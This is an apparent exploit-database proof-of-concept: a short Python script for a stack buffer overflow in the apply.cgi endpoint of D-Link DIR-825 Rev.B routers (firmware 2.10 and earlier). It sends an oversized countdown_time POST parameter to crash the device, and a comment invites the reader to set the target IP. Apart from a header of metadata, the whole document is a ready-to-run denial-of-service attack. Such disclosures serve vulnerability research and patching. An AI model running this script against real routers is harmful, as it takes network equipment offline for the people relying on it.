# Exploit Title: D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS) # Google Dork: N/A # Date: 2025-09-25 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.dlink.com/ # Software Link: https://tsd.dlink.com.tw/downloads2008detail.asp # Version: DIR-825 Rev.B <= 2.10 # Tested on: DIR-825 Rev.B physical hardware, local network # CVE: CVE-2025-10666 # # Description: # A stack-based buffer overflow vulnerability exists in the apply.cgi endpoint of the # D-Link DIR-825 Rev.B router (firmware <= 2.10), triggered via the countdown_time parameter. # This PoC sends an overly long POST parameter to crash the process. import requests TARGET = "http://192.168.0.1/apply.cgi" # Change this to the router's IP LENGTH = 4000 # Adjust length for testing / fuzzing PAYLOAD = "1" * LENGTH headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Referer": "http://192.168.0.1/", } data = { "countdown_time": PAYLOAD } try: print(f"[+] Sending exploit payload ({LENGTH} bytes) to {TARGET}") r = requests.post(TARGET, headers=headers, data=data, timeout=5) print(f"[+] Status Code: {r.status_code}") print("[+] Exploit sent. Check if the router crashes or becomes unresponsive.") except Exception as e: print(f"[-] Failed to send exploit: {e}")